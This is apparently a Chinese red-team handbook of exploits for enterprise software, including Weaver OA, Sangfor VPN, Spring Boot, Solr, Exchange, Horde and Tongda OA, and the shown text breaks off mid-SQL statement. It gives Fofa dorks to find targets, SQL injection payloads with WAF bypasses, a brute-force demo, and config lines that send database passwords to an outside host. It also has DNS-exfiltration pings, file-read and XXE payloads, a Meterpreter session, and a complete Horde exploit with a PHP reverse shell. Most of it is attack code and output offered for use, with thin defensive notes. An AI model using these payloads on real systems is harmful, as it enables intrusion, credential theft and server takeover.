ecology_JSessionId=ecologyWorkflowCenterTreeData/mobile/plugin/SyncUserInfo.jsp4. Fofa Dorkapp="泛微-协同办公OA"5. 漏洞分析泛微OA WorkflowCenterTreeData接口注入漏洞(限oracle数据库) – 先知社区 https://xz.aliyun.com/t/65316. 漏洞利用泛微OA e-cology WorkflowCenterTreeData前台接口SQL注入漏洞复现:修改NULL后为要查询的字段名,修改from后为查询的表: POST /mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&scope=2333 HTTP/1.1Host: ip:portUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 2236Connection: closeUpgrade-Insecure-Requests: 1 formids=11111111111)))%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0 https://github.com/orleven/Tentacle/blob/6e1cecd52b10526c4851a26249339367101b3ca2/script/ecology/ecology8_mobile_sql_inject.py #!/usr/bin/env python# -*- coding: utf-8 -*-# @author: 'orleven' from lib.utils.connect import ClientSessionfrom script import Script, SERVICE_PORT_MAP class POC(Script): def __init__(self, target=None): self.service_type = SERVICE_PORT_MAP.WEB self.name = 'ecology8 mobile sql inject' self.keyword = ['ecology8', 'sql inject'] self.info = 'ecology8 mobile sql inject' self.type = 'inject' self.level = 'high' Script.__init__(self, target=target, service_type=self.service_type) async def prove(self): await self.get_url() if self.base_url: path_list = list(set([ self.url_normpath(self.base_url, '/'), self.url_normpath(self.url, './'), ])) pocs = ["mobile/plugin/browser/WorkflowCenterTreeData.jsp?scope=1&node=root_1&formids=1/1&initvalue=1", # 注入点为formids,分母 "mobile/plugin/browser/WorkflowCenterTreeData.jsp?scope=1&node=wftype_6/1&formids=1&initvalue=1"] # 注入点为node,分母 async with ClientSession() as session: for path in path_list: for poc in pocs : url = path + poc async with session.get(url=url) as res: if res!=None: text = await res.text() if '"draggable":false' in text: self.flag = 1 self.req.append({"url": url}) self.res.append({"info": url, "key": "ecology8 inject"}) return应用安全 – 软件漏洞 – 泛微OA漏洞汇总: https://blog.csdn.net/weixin_30855099/article/details/101191532/mobile/plugin/SyncUserInfo.jsp 这个也是有问题的, 但由于没有公开的分析报告, 漏洞相对简单, 这里不过多描述7. 利用技巧1.在这个漏洞补丁之前大概有几十个前台注入, 都差不多, 因为没公开这里就不细说了2.泛微的补丁中间改过一次过滤策略, 打完所有补丁的话, 注入就很难了3.这里可以绕过的原因是泛微某个过滤器初始化错误,当长度超过xssMaxLength=500的时候就不进入安全检测, 修复以后是xssMaxLength=1000000,所以随便你填充%0a%0d还是空格都可以绕过注入检测4.泛微后端数据库版本存在差异, 但是可以通用检测。已知泛微OA E8存在2个版本的数据库, 一个是mssql, 一个是oracle, 且新旧版本泛微的sql过滤方法并不一致所以这里筛选出一个相对通用的检测手法(下面代码是python的" "*800 800个空格)"-1) "+" "*800+ "union select/**/1, Null, Null, Null, Null, Null, Null, Null from Hrmresourcemanager where loginid=('sysadmin'"老版本可以在关键字后面加 /**/ 来绕过sql检测新版本可以通过加入大量空格/换行来绕过sql检测mssql,oracle中都有Hrmresourcemanager , 这是管理员信息表就Hrmresource表中没有用户, Hrmresourcemanager 表中也一定会存在sysadmin账户,所以进行union select的时候一定会有数据。这里也可以使用 "-1) "+" "*800+ " or/**/ 1=1 and id<(5",这里使用 <5 可以避免信息超过5条, 但是会返回密码等敏感信息, 不建议使用。8. 防护方法1.及时更新泛微补丁 2.泛微最好不要开放到公网 3.使用waf拦击十三、深信服VPN远程代码执行1. 漏洞简介深信服 VPN 某个特定产品存在远程代码执行, 2019 攻防演练使用过2. 影响组件:深信服 VPN3. 漏洞指纹Set-Cookie: TWFID=welcome to ssl vpn Sinfor4. Fofa Dorkheader="Set-Cookie: TWFID="5. 漏洞分析深信服vpnweb登录逆向学习: https://www.cnblogs.com/potatsoSec/p/12326356.html6. 漏洞利用wget -t %d -T %d --spider %s7. 利用技巧1.该版本深信服VPN属于相对早期的版本, 大概2008年左右, 但目前还有761个ip开放在公网2.该版本较低, whomai不存在, 可以使用 uname, 这里没有空格可dns传出来3.去除空格也简单 cat /etc/passwd | tr " \n" "+|" 8. 防护方法1.及时更新补丁2.升级到最新版十四、深信服 VPN 口令爆破1. 漏洞简介深信服 VPN 针对口令爆破是5次错误锁定IP五分钟, 所以这里爆破也不是不行, 主要是测试常见弱口令以及分布式爆破也不是不行2. 影响组件深信服 VPN3. 漏洞指纹/por/login_auth.csp?apiversion=1sangfor/cgi-bin/login.cgi?rnd=4. Fofa Dorkapp="深信服-SSL-VPN"5. 漏洞分析关于SSL VPN认证时的验证码绕过 – SSL VPN/EMM – 深信服社区 https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=20633此处存疑, 时间问题没有测试6. 漏洞利用1.深信服VPN 口令爆破 demo (这里仅测试了M6,其他的应该差不多)#encoding=utf8import requestsimport hashlibimport urllib3urllib3.disable_warnings()import resession = requests.session()def SanForLogin(target, password, username="admin"): # 加密密码的算法是 sha1(password+sid) # 没有公开POC就不写了SanForLogin("https://xxxxxxxxxxx/", "admin")7. 利用技巧1.由于深信服涉及的版本跨度时间达十几年, 很多地方不一样, 但是总体都差不太多国外APT组织应该也批量爆破了一波,加密的密码也就是 sha1(password+sid)爆破也就锁一会ip, 夜里丢一边跑着就完事了, 弱口令也就那么些admin/123456/Sangfor/Sangfor@1232.如果爆破出来了管理员密码, 管理员后台有好多处命令注入, 比如升级工具, 这里讲起来应该是正常功能3.去年传闻还有前台sql注入, 但是没拿到补丁, 手头没环境, 就没分析, 看一下乌云上的老洞吧。深信服SSLVPN外置数据中心敏感信息泄漏&SQL注入漏洞可导致getshell https://www.uedbox.com/post/31092/8. 防护方法1.及时更新补丁2.升级到最新版十五、常见边界产品(防火墙, 网关, 路由器, VPN) 弱口令漏洞1. 漏洞简介大型企业往往会配置一些边界设备来维护企业内外网通信, 这里也存在灯下黑的问题, 由于多数不开源, 漏洞主要以弱口令为主2. 影响组件防火墙, 网关, 路由器, VPN3. 漏洞指纹防火墙, 网关, 路由器, VPN4. Fofa Dork防火墙, 网关, 路由器, VPN 的名称5. 漏洞利用【安全设备】常见网络安全设备默认口令 https://www.it2021.com/security/614.html渗透测试之各厂商防火墙登录IP、初始密码、技术支持 https://mp.weixin.qq.com/s/OLf7QDl6qcsy2FOqCQ2icA7. 利用技巧这个东西好多人不改默认口令, 就算改很多也是企业特色弱口令,admin root 123456 永远的神内网的安全平台就是个漏洞指南8. 防护方法1.设置强口令2.限制来源IP十六、Thinkphp 相关漏洞1. 漏洞简介Thinkphp 是国内很常见的PHP框架, 存在 远程代码执行/sql注入/反序列化/日志文件泄露等问题2. 影响组件 Thinkphp3. 漏洞指纹Thinkphp X-Powered-By: ThinkPHP4. Fofa Dorkapp="ThinkPHP"5. 漏洞分析ThinkPHP漏洞总结 – 赛克社区 http://zone.secevery.com/article/1165挖掘暗藏ThinkPHP中的反序列利用链 : https://blog.riskivy.com/%E6%8C%96%E6%8E%98%E6%9A%97%E8%97%8Fthinkphp%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%88%A9%E7%94%A8%E9%93%BE/ThinkPHP使用不当可能造成敏感信息泄露: https://blog.csdn.net/Fly_hps/article/details/81201904DSMall代码审计: https://www.anquanke.com/post/id/2034616. 漏洞利用SkyBlueEternal/thinkphp-RCE-POC-Collection: thinkphp v5.x 远程代码执行漏洞-POC集合 https://github.com/SkyBlueEternal/thinkphp-RCE-POC-CollectionDido1960/thinkphp: thinkphp反序列化漏洞复现及POC编写 https://github.com/Dido1960/thinkphpwhirlwind110/tphack: Thinkphp3/5 Log文件泄漏利用工具 https://github.com/whirlwind110/tphack7. 利用技巧1.遇到Thinkphp的站点看一下版本, 或者直接扫一下, 看看有没有rce, 或者日志文件泄露2.自从挖了thinphp的反序列化利用链以后, 这类型考题经常出没在ctf中3.实战中也看到偶尔有可以利用的情况, 运气好可能有惊喜, 刚好有篇新出的文章中使用到了这个漏洞DSMall代码审计 – 安全客,安全资讯平台 https://www.anquanke.com/post/id/2034618. 防护方法1.及时更新补丁2.升级到最新版Thinkphp3.前置WAF进行防护十七、Spring 系列漏洞1. 漏洞简介Spring 是java web里最最最最常见的组件了, 自然也是研究的热门, 好用的漏洞主要是Spring Boot Actuators 反序列化, 火起来之前用了一两年, 效果很棒2. 影响组件 Spring xxx3. 漏洞指纹X-Application-Context:4. Fofa Dorkapp="Spring-Framework"5. 漏洞分析Spring 框架漏洞集合: https://misakikata.github.io/2020/04/Spring-%E6%A1%86%E6%9E%B6%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88/Exploiting Spring Boot Actuators | Veracode blog https://www.veracode.com/blog/research/exploiting-spring-boot-actuatorsSpring Boot Actuators配置不当导致RCE漏洞复现: https://jianfensec.com/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Spring%20Boot%20Actuators%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4RCE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/6. 漏洞利用mpgn/Spring-Boot-Actuator-Exploit: Spring Boot Actuator (jolokia) XXE/RCE https://github.com/mpgn/Spring-Boot-Actuator-Exploitartsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads https://github.com/artsploit/yaml-payload7. 利用技巧1.Spring Boot Actuators 相关漏洞超级好用,很多厂商一开始都不懂, 直接对外开放Spring Boot Actuators, 造成了有一段时间每个用了Spring Boot的厂商都出了问题,尤其是现在很多厂商使用微服务框架, 通过网关进行路由分发, 一些子目录通常对应一个Spring Boot启动的服务。然后子目录比如 http://123.123.123.123/admin/env , http://123.123.123.123/manager/env也都是可以出现的/env 可以偷session, RCE/heapdump 可以直接dump jvm中的对象, 使用 jhat 可以读取里面的对象可以遍历如下的endpoint, 1.x 2.x的目录不一样, 所以都覆盖了一下/trace/health/loggers/metrics/autoconfig/heapdump/threaddump/env/info/dump/configprops/mappings/auditevents/beans/jolokia/cloudfoundryapplication/hystrix.stream/actuator/actuator/auditevents/actuator/beans/actuator/health/actuator/conditions/actuator/configprops/actuator/env/actuator/info/actuator/loggers/actuator/heapdump/actuator/threaddump/actuator/metrics/actuator/scheduledtasks/actuator/httptrace/actuator/mappings/actuator/jolokia/actuator/hystrix.stream/monitor/monitor/auditevents/monitor/beans/monitor/health/monitor/conditions/monitor/configprops/monitor/env/monitor/info/monitor/loggers/monitor/heapdump/monitor/threaddump/monitor/metrics/monitor/scheduledtasks/monitor/httptrace/monitor/mappings/monitor/jolokia/monitor/hystrix.stream这里通过 /env + /refresh 进行rce应该还有其他利用手法, 当spring boot reload的时候会进行一些默认操作,里面就有操作空间, 很像fastjson反序列化。2.就算实在不能RCE, 这里也有个技巧可以偷取 Spring 配置文件中的加密字段, 偷一下生产环境的密码/key也okeureka.client.serviceUrl.defaultZone=http://${somedb.pasword}@127.0.0.1:5000spring.cloud.bootstrap.location=http://${somedb.password}@artsploit.com/yaml-payload.yml3.尤其是使用spring eureka做集群的时候, 通常拿到一台服务器, 就可以传递恶意注册到其他server, 从而感染整个微服务集群eureka 通常是 server 也是 client, 无论对方请求什么都直接返回恶意序列化xml就可以了8. 防护方法1.及时更新补丁2.开启Spring Boot Actuators权限校验3.前置WAF进行防护十八、Solr 系列漏洞1. 漏洞简介Solr 是企业常见的全文搜索服务, 这两年也爆出很多安全漏洞,2. 影响组件Solr3. 漏洞指纹Solr4. Fofa Dorkapp="Solr"5. 漏洞分析Apache Solr最新RCE漏洞分析 – FreeBuf互联网安全新媒体平台 https://www.freebuf.com/vuls/218730.htmlApache Solr DataImportHandler 远程代码执行漏洞(CVE-2019-0193) 分析 https://paper.seebug.org/1009/6. 漏洞利用veracode-research/solr-injection: Apache Solr Injection Research https://github.com/veracode-research/solr-injectionjas502n/CVE-2019-12409: Apache Solr RCE (ENABLE_REMOTE_JMX_OPTS=”true”) https://github.com/jas502n/CVE-2019-12409mogwailabs/mjet: MOGWAI LABS JMX exploitation toolkit https://github.com/mogwailabs/mjet7. 利用技巧1.看到锤就完事了, 漏洞太多了, 一片一片的2.遇到mjet连接超时,这是目标服务起返回了错误的stub(内网地址, 常见于docker), 可以使用socat进行流量转发, 后记里面有具体操作8. 防护方法1.升级到最新版2.不要对外开放敏感端口十九、Ghostscript 上传图片代码执行1. 漏洞简介Ghostscript 是图像处理中十分常用的库, 集成在imagemagick等多个开源组件中, 其 .ps文件存在沙箱绕过导致代码执行的问题影响广泛, 由于上传图片就有可能代码执行, 很多大厂中招2. 影响组件imagemagick, libmagick, graphicsmagick, gimp, python-matplotlib, texlive-core, texmacs, latex2html, latex2rtf 等图像处理应用3. 漏洞指纹.ps/.jpg/.png4. Fofa Dork5. 漏洞分析ghostscript命令执行漏洞预警 https://www.anquanke.com/post/id/1575136. 漏洞利用Exploit Database Search https://www.exploit-db.com/search?q=Ghostscriptvulhub/ghostscript/CVE-2019-6116 at master · vulhub/vulhub https://github.com/vulhub/vulhub/tree/master/ghostscript/CVE-2019-61167. 利用技巧1.如果发现网站可以上传图片, 且图片没有经过裁剪, 最后返回缩略图, 这里就可能存在Ghostscript 上传图片代码执行dnslog 可以用 ping `uname`.admin.ceye.io 或 ping `whoami`.admin.ceye.io保存成图片, 以后用起来方便, 有个版本的 centos 和 ubuntu poc还不一样, 可以这样构造ping `whoami`.centos.admin.ceye.io / ping `whoami`.ubuntu.admin.ceye.io分别命名为 centos_ps.jpg/ubuntu_ps.jpg, 这样测试的时候直接传2个文件, 通过DNSLOG可以区分是哪个poc执行的8. 防护方法1.升级到最新版二十、泛微云桥复现1.其实没什么复现的。。。未授权读取。直接调用exp就OK http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt2.任意读取linux的passwd值可在响应包中JSON中包含ID的32位值再次请求可获得/etc/passwd值http://www.xxx.com/FileNoLogin/32位MD5值http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt 3.任意读取winodws下的win.ini值未授权任意文件读取,/wxjsapi/saveYZJFile接口获取filepath,返回数据包内出现了程序的绝对路径,攻击者可以通过返回内容识别程序运行路径从而下载数据库配置文件危害可见。 1.downloadUrl参数修改成需要获取文件的绝对路径,记录返回包中的id值。http://www.xxx.com/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt 2.通过查看文件接口访问 /file/fileNoLogin/id 3.其他利用技巧(读取任意目录文件)简单说说昨天泛微云桥的报告,输入文件路径->读取文件内容,我们读了一下代码后发现这还能读取文件目录。参数不填写绝对路径写进文本内容就是当前的目录,产生了一个新的漏洞 “目录遍历”/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///D:/&fileExt=txt 目录遍历+文件读取,我们能做的事情就很多了,比如读取管理员在桌面留下的密码文件、数据库配置文件、nginx代理配置、访问日志、D盘迅雷下载:d://ebridge//tomcat//webapps//ROOT//WEB-INF//classes//init.properties d:/OA/tomcat8/webapps/OAMS/WEB-INF/classes/dbconfig.properties 泛微OA数据库 4.修复建议:关闭程序路由 /file/fileNoLogin二十一、网瑞达webVPN RCE漏洞1.漏洞描述WebVPN是提供基于web的内网应用访问控制,允许授权用户访问只对内网开放的web应用,实现类似VPN(虚拟专用网)的功能。近日网瑞达的webVPN被曝出存在RCE的漏洞。修复建议建议去官网更新最新版本二十二、Apache DolphinScheduler高危漏洞(CVE-2020-11974、CVE-2020-13922) 1.漏洞描述Apache软件基金会发布安全公告,修复了Apache DolphinScheduler权限覆盖漏洞(CVE-2020-13922)与Apache DolphinScheduler远程执行代码漏洞(CVE-2020-11974)。CVE-2020-11974与mysql connectorj远程执行代码漏洞有关,在选择mysql作为数据库时,攻击者可通过jdbc connect参数输入{“detectCustomCollations”:true,“ autoDeserialize”:true} 在DolphinScheduler 服务器上远程执行代码。CVE-2020-13922导致普通用户可通过api interface在DolphinScheduler 系统中覆盖其他用户的密码:api interface /dolphinscheduler/users/update,请相关用户及时升级进行防护。2.影响范围Apache DolphinScheduler权限覆盖漏洞(CVE-2020-13922)3.受影响版本Apache DolphinScheduler = 1.2.0、1.2.1、1.3.14.不受影响版本Apache DolphinScheduler >= 1.3.2Apache DolphinScheduler远程执行代码漏洞(CVE-2020-11974)5.利用POC:POST /dolphinscheduler/users/update id=1&userName=admin&userPassword=Password1!&tenantId=1&email=sdluser%40sdluser.sdluser&phone= 利用漏洞:需要登录权限,提供一组默认密码。该漏洞存在于数据源中心未限制添加的jdbc连接参数,从而实现JDBC客户端反序列化。1、登录到面板 -> 数据源中心。 2、jdbc连接参数就是主角,这里没有限制任意类型的连接串参数。 3、将以下数据添加到jdbc连接参数中,就可以直接触发。 POST /dolphinscheduler/datasources/connect HTTP/1.1 type=MYSQL&name=test&note=&host=127.0.0.1&port=3306&database=test& principal=&userName=root&password=root&connectType=& other={"detectCustomCollations":true,"autoDeserialize":true} 关于MySQL JDBC客户端反序列化漏洞的相关参考: https://www.anquanke.com/post/id/203086 5.修复建议官方升级目前官方已在最新版本中修复了此次的漏洞,请受影响的用户尽快升级版本至1.3.2进行防护,官方下载链接:https://dolphinscheduler.apache.org/zhcn/docs/release/download.html二十三、宝塔面板phpMyadmin未授权访问 来源: https://mp.weixin.qq.com/s/3ZjwFo5gWlJACSkeYWQLXA前段时间在朋友圈和微信群里火热不行的宝塔数据库面板未授权无需登录,以下是存在安全问题的版本。- Linux正式版7.4.2- Linux测试版7.5.13- Windows正式版6.81、宝塔默认phpMyadmin端口就是888 而这个漏洞排查方式极其简单 172.10.0.121:888/pma2、如果宝塔是存在安全问题的版本,那就会直接出现phpMyadmin面板页面。 二十四、CVE-2020-16875: Exchange Server 远程代码执行漏洞更新公告:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875微软公告说的很明显,只需要一个Exchange用户账号。就能在Exchange服务器上执行任意命令。https://srcincite.io/pocs/cve-2020-16875.py.txthttps://srcincite.io/pocs/cve-2020-16875.ps1.txtresearcher@incite:~$ ./poc.py (+) usage: ./poc.py <target> <user:pass> <cmd> (+) eg: ./poc.py 192.168.75.142 [email protected]:user123### mspaint researcher@incite:~$ ./poc.py 192.168.75.142 [email protected]:user123### mspaint (+) logged in as [email protected] (+) found the __viewstate: /wEPDwUILTg5MDAzMDFkZFAeyPS7/eBJ4lPNRNPBjm8QiWLWnirQ1vsGlSyjVxa5 (+) triggered rce as SYSTEM! Microsoft Exchange远程代码执行(CVE-2020-16875): Microsoft Exchange服务器中存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以在系统用户的上下文中运行任意代码。利用此漏洞需要拥有以某个Exchange角色进行身份验证的用户权限。 该漏洞影响版本: microsoft:exchange_server_2016: cu16/cu17 microsoft:exchange_server_2019: cu5/cu6 MSF利用(https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/exchange_ecp_dlp_policy.rb): msf6 exploit(windows/http/exchange_ecp_dlp_policy) > run [*] Started HTTPS reverse handler on https://192.168.123.1:8443 [*] Executing automatic check (disable AutoCheck to override) [!] The service is running, but could not be validated. OWA is running at https://192.168.123.192/owa/ [*] Logging in to OWA with creds Administrator:Passw0rd! [+] Successfully logged in to OWA [*] Retrieving ViewState from DLP policy creation page [+] Successfully retrieved ViewState [*] Creating custom DLP policy from malicious template [*] DLP policy name: Abbotstone Agricultural Property Unit Trust Data [*] Powershell command length: 2372 [*] https://192.168.123.1:8443 handling request from 192.168.123.192; (UUID: rwlz4ahe) Staging x64 payload (201308 bytes) ... [*] Meterpreter session 1 opened (192.168.123.1:8443 -> 192.168.123.192:6951) at 2020-09-16 02:39:17 -0500 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > sysinfo Computer : WIN-365Q2VJJS17 OS : Windows 2016+ (10.0 Build 14393). Architecture : x64 System Language : en_US Domain : GIBSON Logged On Users : 8 Meterpreter : x64/windows meterpreter > 二十五、PhpStudy nginx解析漏洞 小皮面板 <= 8.1.0.7,其实这个漏洞确实不是phpstudy的问题,而是2017年就出现的nginx解析漏洞。1、利用条件就只需要把php恶意文件上传(oss不算!)到服务器。<?php phpinfo();?>2、通过 /x.txt/x.php 方式访问上传的图片地址,啪嚓! 就解析了php代码。 二十六、Apache Cocoon XML注入 [CVE-2020-11991] 来源:http://mail-archives.apache.org/mod_mbox/cocoon-users/202009.mbox/author程序使用了StreamGenerator这个方法时,解析从外部请求的xml数据包未做相关的限制,恶意用户就可以构造任意的xml表达式,使服务器解析达到XML注入的安全问题。1、漏洞利用条件有限必须是apacheCocoon且使用了StreamGenerator,也就是说只要传输的数据被解析就可以实现了。2、利用POC:<!--?xml version="1.0" ?--><!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]><userInfo><firstName>John</firstName> <lastName>&ent;</lastName></userInfo> 二十七、Horde Groupware Webmail Edition 远程命令执行来源: https://srcincite.io/pocs/zdi-20-1051.py.txt#!/usr/bin/env python3 """ Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability Identifiers: ZDI-CAN-10436 / ZDI-20-1051 Found by ..: mr_me Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33 Summary: ======== It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution. Example: ======== saturn:~ mr_me$ ./poc.py (+) usage ./poc.py <target> <path> <user:pass> <connectback:port> (+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337 saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337 (+) targeting http://172.16.175.145/horde/ (+) obtained session iefankvohbl8og0mtaadm3efb6 (+) inserted our php object (+) triggering deserialization... (+) starting handler on port 1337 (+) connection from 172.16.175.145 (+) pop thy shell! id uid=33(www-data) gid=33(www-data) groups=33(www-data) pwd /var/www/horde/services uname -a Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux exit *** Connection closed by remote host *** (+) repaired the target! """ import re import sys import socket import requests import telnetlib import base64 from threading import Thread def rs(cbh, cbp): return """@error_reporting(-1); @set_time_limit(0); @ignore_user_abort(1); $dis=@ini_get('disable_functions'); if(!empty($dis)){ $dis=preg_replace('/[, ]+/', ',', $dis); $dis=explode(',', $dis); $dis=array_map('trim', $dis); }else{ $dis=array(); } $ipaddr='%s'; $port=%d; function PtdSlhY($c){ global $dis; if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) { $c=$c." 2>&1\\n"; } ob_start(); system($c); $o=ob_get_contents(); ob_end_clean(); if (strlen($o) === 0){ $o = "NULL"; } return $o; } $nofuncs='no exec functions'; $s=@fsockopen("tcp://$ipaddr",$port); while($c=fread($s,2048)){ $out = ''; if(substr($c,0,3) == 'cd '){ chdir(substr($c,3,-1)); }else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { break; }else{ $out=PtdSlhY(substr($c,0,-1)); if($out===false){ fwrite($s, $nofuncs); break; } } fwrite($s,$out); } fclose($s);""" % (cbh, cbp) def get_session(t, p, usr, pwd): uri = "http://%s%slogin.php" % (t, p) p = { "login_post" : 1337, "horde_user" : usr, "horde_pass" : pwd } r = requests.post(uri, data=p, allow_redirects=False) match = re.findall("Horde=(.{26});", r.headers['set-cookie']) assert len(match) == 2, "(-) failed to login" return match[1] def trigger_deserialization(t, p, s, host, port): """ Object instantiation to reach the deserialization """ handlerthr = Thread(target=handler, args=(port,)) handlerthr.start() uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p) p = { "imple" : "IMP_Prefs_Sort", "app" : "imp", } h = { "cmd" : base64.b64encode(rs(host, port).encode()) } c = { "Horde" : s } r = requests.get(uri, params=p, cookies=c, headers=h) match = re.search("horde_logout_token=(.*)&", r.text) assert match, "(-) failed to leak the horde_logout_token!" p['token'] = match.group(1) r = requests.get(uri, params=p, cookies=c, headers=h) assert r.status_code == 200, "(-) failed to trigger deserialization!" def get_pop(): """ An updated pop chain """ pop = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{' pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{' pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{' pop += 'S:8:"\\00*\\00_opts";a:1:{' pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{' pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";' pop += '}i:1;s:13:"readXMLConfig";}}' pop += 'S:10:"\\00*\\00_scopes";a:1:{' pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}' # implements Serializable using custom unserialize/serialize pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}' pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}' # additional checks pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}' return pop def get_patch(): """ Our original array """ patch = 'a:1:{' patch += 's:5:"INBOX";a:1:{' patch += 's:1:"b";i:6;' patch += '}}' return patch def set_pref(t, p, s, k, o): """ A primitive that inserts a string into the database """ uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p) p = { "pref" : k, "value" : o, } c = { "Horde" : s } r = requests.get(uri, params=p, cookies=c) match = re.search("horde_logout_token=(.*)&", r.text) assert match, "(-) failed to leak the horde_logout_token!" p['token'] = match.group(1) r = requests.get(uri, params=p, cookies=c) assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!" def handler(lport): print("(+) starting handler on port %d" % lport) t = telnetlib.Telnet() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", lport)) s.listen(1) conn, addr = s.accept() print("(+) connection from %s" % addr[0]) t.sock = conn print("(+) pop thy shell!") t.interact() def fix_path(p): if p == "/": return p if not p.startswith("/"): p = "/%s" % p if not p.endswith("/"): p = "%s/" % p return p def main(): if len(sys.argv) < 5: print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0]) print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0]) sys.exit(0) target = sys.argv[1] path = fix_path(sys.argv[2]) user = sys.argv[3].split(":")[0] pswd = sys.argv[3].split(":")[1] host = sys.argv[4].split(":")[0] port = int(sys.argv[4].split(":")[1]) print("(+) targeting http://%s%s" % (target, path)) session = get_session(target, path, user, pswd) print("(+) obtained session %s" % session) set_pref(target, path, session, 'sortpref', get_pop()) print("(+) inserted our php object") print("(+) triggering deserialization...") trigger_deserialization(target, path, session, host, port) set_pref(target, path, session, 'sortpref', get_patch()) print("(+) repaired the target!") if __name__ == "__main__": main() saturn:~$./poc.py 172.16.175.148/horde/ hordeuser:pass123 172.16.175.145(+) targeting http://172.16.175.145/horde/(+) obtained session iefankvohbl8og0mtaadm3efb6(+) inserted our php object(+) triggering deserialization...(+) starting handler on port 1337(+) connection from 172.16.175.145(+) pop thy shell!iduid=33(www-data) gid=33(www-data) groups=33(www-data)pwd/var/www/horde/services二十八、通达OA任意用户登录 1、首先访问 /ispirit/login_code.php 获取 codeuid。 2、访问 /general/login_code_scan.php 提交 post 参数: uid=1&codeuid={9E908086-342B-2A87-B0E9-E573E226302A} 3、最后访问 /ispirit/login_code_check.php?codeuid=xxx 这样 $_SESSION 里就有了登录的信息了。 二十九、通达OA v11.7 后台SQL注入 利用条件:需要登录权限,文章作者给出了利用链注入加mysql权限,又是写木马的。 /general/hr/manage/query/delete_cascade.php?condition_cascade= select%20if((substr(user(),1,1)=%27r%27),1,power(9999,99)) 1、添加一个mysql用户 grant all privileges ON mysql.* TO 'ateam666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION 2、给创建的ateam666账户添加mysql权限。 UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = 